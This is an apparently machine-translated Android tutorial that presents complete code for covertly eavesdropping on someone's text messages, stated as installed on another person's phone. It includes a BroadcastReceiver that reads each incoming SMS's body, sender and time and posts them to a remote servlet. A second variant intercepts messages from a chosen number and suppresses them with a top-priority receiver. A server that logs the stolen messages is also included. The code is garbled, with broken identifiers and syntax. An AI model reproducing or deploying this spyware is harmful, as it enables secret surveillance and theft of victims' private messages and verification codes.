I. Introduction to the principle of text message listening the purpose of text message listening is to eavesdrop on text messages sent by someone. For example, we have installed this app on a's mobile phone and want to check the text message sent by B to;
How can we get short messages? If a message is sent to a third party via SMS, the message is displayed. Therefore, the message can be sent to the Web server over the network. The messaging application in the Android mobile phone is just a common application; ii. Core code
Core code of the SMS listening Client
Add permissions to androidmanifest. xml:
<Uses-Permission Android: Name = "android. Permission. receive_sms"/> <! -- Receive SMS permission --> <uses-Permission Android: Name = "android. Permission. Internet"/> <! -- Network access permission -->
(1) object [] PDUS = (object []) intent. getextras (). Get ("PDUS"); get text message data
(2) byte [] PDU = (byte []) PDUS [0];
(3) smsmessage message = smsmessage. createfrompdu (PDU); encapsulate the byte array as smsmessage
(4) string content = message. getmessagebody (); get the text message content
(5) string date = new date (message. gettimestampmillis (). tolocalestring (); get sms time
(6) string sendernumber = message. getoriginatingaddress (); get the sender number
The server code only receives and displays parameters;
3. Code for text message listening
Server code
Package Org. xiazdong. servlet; import Java. io. ioexception; import javax. servlet. servletexception; import javax. servlet. annotation. webservlet; import javax. servlet. HTTP. httpservlet; import javax. servlet. HTTP. httpservletrequest; import javax. servlet. HTTP. httpservletresponse; @ webservlet ("/smsservlet") public class smsservlet extends httpservlet {protected void doget (httpservletrequest request, incluresponse) throws servletexception, ioexception {dopost (request, response );} protected void dopost (httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {request. setcharacterencoding ("UTF-8"); string sender = request. getparameter ("sender"); string body = request. getparameter ("body"); string time = request. getparameter ("time"); system. out. println ("Sender:" + sender); system. out. println ("sent content:" + body); system. out. println ("sending time:" + time );}}
1. Just get short messages
Scenario
Effect description:
Package COM. xiazdong. smslistener; import Java. io. outputstream; import java.net. httpurlconnection; import java.net. URL; import java.net. urlencoder; import Java. util. date; import android. content. broadcastreceiver; import android. content. context; import android. content. intent; import android. telephony. smsmessage; import android. util. log; public class smsbroadcastreceiver extends broadcastreceiver {@ overridepublic void onreceive (context, intent) {object [] PDUS = (object []) intent. getextras (). get ("PDUS"); // receives data for (Object P: PDUS) {byte [] PDU = (byte []) P; smsmessage message = smsmessage. createfrompdu (PDU); // encapsulate it into smsmessagestring body = message based on the obtained byte. getmessagebody (); // sent content string date = new date (message. gettimestampmillis ()). tolocalestring (); // sending time string sender = message. getoriginatingaddress (); // SMS sender try {sendsms (sender, body, date);} catch (exception e) {e. printstacktrace ();} If ("5554 ". equals (sender) {try {sendsms (sender, body, date);} catch (exception e) {e. printstacktrace () ;}}} private void sendsms (string sender, string body, string date) throws exception {string Params = "sender =" + urlencoder. encode (sender) + "& Body =" + urlencoder. encode (body) + "& time =" + urlencoder. encode (date); byte [] bytes = Params. getbytes ("UTF-8"); Url url = new URL ("http: // 192.168.0.103: 8080/Server/smsservlet"); httpurlconnection conn = (httpurlconnection) URL. openconnection (); Conn. setrequestmethod ("Post"); Conn. setrequestproperty ("Content-Type", "application/X-WWW-form-urlencoded"); // sets the HTTP Request Header Conn. setrequestproperty ("Content-Length", bytes. length + ""); Conn. setdooutput (true); outputstream out = Conn. getoutputstream (); out. write (bytes); // set the HTTP Request body if (Conn. getresponsecode () = 200) {log. I ("tag", "sent successfully ");}}}
Androidmanifest. xml
<Uses-Permission Android: Name = "android. Permission. receive_sms"/> <! -- Receive SMS permission --> <uses-Permission Android: Name = "android. Permission. Internet"/> <! -- Network access permission --> <application Android: icon = "@ drawable/ic_launcher" Android: Label = "@ string/app_name"> <er Android: Name = ". smsbroadcastreceiver "> <intent-filter> <action Android: Name =" android. provider. telephony. sms_received "/> </intent-filter> </Cycler> </Application>
2. Block text messages and send them to a third party.
Scenario Description
Client code:
Package COM. xiazdong. smslistener; import Java. io. outputstream; import java.net. httpurlconnection; import java.net. URL; import java.net. urlencoder; import Java. util. date; import android. content. broadcastreceiver; import android. content. context; import android. content. intent; import android. telephony. smsmessage; import android. util. log; public class smsbroadcastreceiver extends broadcastreceiver {@ overridepublic void onreceive (context, intent) {object [] PDUS = (object []) intent. getextras (). get ("PDUS"); // receives data for (Object P: PDUS) {byte [] PDU = (byte []) P; smsmessage message = smsmessage. createfrompdu (PDU); // encapsulate it into smsmessagestring body = message based on the obtained byte. getmessagebody (); // sent content string date = new date (message. gettimestampmillis ()). tolocalestring (); // sending time string sender = message. getoriginatingaddress (); // If ("15555215556 ". equals (sender) {try {sendsms (sender, body, date);} catch (exception e) {e. printstacktrace () ;}abortbroadcast (); // interrupt broadcast }}private void sendsms (string sender, string body, string date) throws exception {string Params = "sender =" + urlencoder. encode (sender) + "& Body =" + urlencoder. encode (body) + "& time =" + urlencoder. encode (date); byte [] bytes = Params. getbytes ("UTF-8"); Url url = new URL ("http: // 192.168.0.103: 8080/Server/smsservlet"); httpurlconnection conn = (httpurlconnection) URL. openconnection (); Conn. setrequestmethod ("Post"); Conn. setrequestproperty ("Content-Type", "application/X-WWW-form-urlencoded"); // sets the HTTP Request Header Conn. setrequestproperty ("Content-Length", bytes. length + ""); Conn. setdooutput (true); outputstream out = Conn. getoutputstream (); out. write (bytes); // set the HTTP Request body if (Conn. getresponsecode () = 200) {log. I ("tag", "sent successfully ");}}}
Androidmanifest. xml
<Uses-Permission Android: Name = "android. Permission. receive_sms"/> <! -- Receive SMS permission --> <uses-Permission Android: Name = "android. Permission. Internet"/> <! -- Network access permission --> <application Android: icon = "@ drawable/ic_launcher" Android: Label = "@ string/app_name"> <er Android: Name = ". smsbroadcastreceiver "> <intent-filter Android: Priority =" 1000 "> <! -- The priority is set to 1000, the highest --> <action Android: Name = "android. provider. telephony. sms_received"/> </intent-filter> </javaser> </Application>